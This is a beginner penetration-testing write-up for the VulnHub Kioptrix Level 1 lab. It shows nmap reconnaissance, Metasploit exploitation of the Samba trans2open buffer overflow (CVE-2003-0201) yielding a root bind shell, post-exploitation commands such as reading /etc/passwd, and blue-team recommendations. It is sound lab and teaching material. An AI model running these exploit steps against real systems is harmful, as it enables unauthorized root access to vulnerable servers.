pentest-writeups

Kioptrix Level 1 writeup - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Penetration Testing Writeup

Author: Amirbek Raxmatullayev (@americo_444)
Date: 2026-06-17
Platform: VulnHub
Difficulty: Beginner
Objective: Gain root access

1. Environment Setup

Note: VirtualBox was incompatible with kernel 7.0.0-22-generic due to a DKMS KVM namespace conflict. Switched to QEMU/KVM and loaded the VMDK directly without conversion.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Reconnaissance

2.1 Host Discovery

nmap -sn 192.168.56.0/24

Result: Target identified at 192.168.56.101

2.2 Full Port & Service Scan

nmap -sV -sC -p- 192.168.56.101

Open Ports:

2.3 SMB Version Enumeration

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Result: Samba 2.2.1a — critically vulnerable version confirmed.

3. Vulnerability Analysis

CVE-2003-0201 — Samba trans2open Buffer Overflow

Description:
Samba versions 2.2.x contain a stack-based buffer overflow vulnerability in the trans2open function. This allows an unauthenticated remote attacker to execute arbitrary code as root.

Affected Versions: Samba 2.0.x — 2.2.8
CVSS Score: 10.0 (Critical)
Exploit Module: exploit/linux/samba/trans2open

4. Exploitation

4.1 Metasploit Configuration

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Why bind_tcp instead of reverse_tcp?
The reverse_tcp payload failed because the Kioptrix VM could not reach back to the attacker through the NAT/bridge configuration. With bind_tcp, the attacker connects to the target — no outbound connection required from the victim.

4.2 Exploitation Output

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Shell obtained! ✅

5. Post-Exploitation

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

System Information:

• OS: Red Hat Linux, Kernel 2.4.7 (built in 2001)
• Local users discovered: root, john, harold

6. Attack Chain

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Key Takeaways

What I Learned:

• Setting up a lab environment with QEMU/KVM when VirtualBox fails
• Service fingerprinting with nmap -sV -sC
• SMB enumeration using Metasploit auxiliary modules
• Understanding CVE-2003-0201 — stack buffer overflow mechanics
• Difference between bind_tcp and reverse_tcp payloads and when to use each

Defensive Recommendations (Blue Team):

1. Upgrade Samba to version 3.x or later
2. Restrict ports 139/445 via firewall — allow only trusted internal hosts
3. Apply all available OS and service patches
4. Implement network segmentation — SMB should never be exposed externally
5. Deploy IDS/IPS rules to detect buffer overflow attempts on SMB

8. Tools Used

9. References

• CVE-2003-0201 — NVD
• Rapid7 — trans2open Module
• VulnHub — Kioptrix Level 1

Written by Amirbek Raxmatullayev | BEK Coders Security Research | 2026